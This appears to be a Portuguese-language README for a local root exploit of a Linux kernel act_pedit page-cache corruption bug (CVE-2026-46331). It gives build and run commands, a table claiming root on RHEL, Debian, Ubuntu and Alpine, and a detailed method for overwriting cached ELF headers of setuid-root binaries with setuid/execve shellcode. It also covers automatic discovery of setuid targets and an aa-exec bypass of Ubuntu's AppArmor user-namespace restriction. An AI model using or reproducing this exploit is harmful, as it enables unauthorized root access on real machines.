
CVE-2026-46331 exploit de corrupção do page-cache do act_pedit, com correção Alpine PIE
net/sched act_pedit corrompe o page-cache por COW parcial (causador 899ee91156e5,
presente desde v5.18 .. corrigido em v7.1-rc7). packet_edit_meme.c a transforma
em uma escalada para root local sem privilégios: um filho com CAP_NET_ADMIN em
userns sobrescreve os metadados ELF em cache de um binário setuid-root com o
shellcode setgid(0)+setuid(0)+execve("/bin/sh").
make
./packet_edit_meme
./packet_edit_meme --ubuntu # AppArmor-gated Ubuntu: aa-exec bypass first
| Distro | Kernel | Flag | Resultado |
|---|---|---|---|
| RHEL 10.0 | 6.12.0 | (nenhuma) | ROOT |
| Debian 13 trixie | 6.12.90+deb13.1 | (nenhuma) | ROOT |
| Ubuntu 24.04.4 | 6.17.0-22 | --ubuntu | ROOT |
| Alpine edge | 7.0.10-0-stable | (nenhuma) | ROOT |
Alpine Linux (musl) compila executáveis PIE em que o segmento PT_LOAD
executável começa no offset de arquivo ≥ 0x1000 — além do limite de offset
de cabeçalho TCP do pedit, de 511 bytes. O cabeçalho ELF e os cabeçalhos de
programa ocupam o primeiro PT_LOAD somente leitura (offset de arquivo 0). Este exploit adaptado:
Torna a página 0 executável adicionando PF_X ao campo p_flags do primeiro
PT_LOAD no offset de arquivo 0xB4 (phdr[2] + 4).
Divide o shellcode para evitar corromper cabeçalhos de programa LOAD críticos:
e_entry → 0x28 (um campo e_shoff que o kernel não verifica em tempo de
exec).0x28: um jmp 0x1C8 de 5 bytes.0x1C8, sobrescrevendo os cabeçalhos de
programa PT_NOTE que o kernel ignora durante o exec.Descobre o alvo automaticamente em tempo de execução via find / -xdev -type f -perm -4000 -user root em vez de codificar caminhos. O primeiro binário ELF setuid-root
legível por todos encontrado é usado — o /bin/su do Alpine (-> ,
) é ignorado automaticamente porque não pode ser aberto.
O Ubuntu nega userns não confinadas e sem privilégios por meio de dois sysctls:
kernel.apparmor_restrict_unprivileged_userns # denies unconfined userns creation
kernel.apparmor_restrict_unprivileged_unconfined # forces unconfined change_profile to STACK,
# so an aa-exec permissive profile cannot
# shed the userns restriction
--ubuntu reexecuta via aa-exec -p {trinity,chrome,flatpak} (perfis que
contêm uma regra userns,).
| Ubuntu | userns | não confinado | bypass via aa-exec |
|---|---|---|---|
| 24.04.4 | 1 | 0 | FUNCIONA |
| 26.04 | 1 | 1 | FECHADO |
Um compilador cruzado estático x86_64-linux-gnu:
# Debian / Ubuntu
apt install gcc-x86-64-linux-gnu
# Alpine
apk add gcc musl-dev
/bin/bbsuid---s--x--x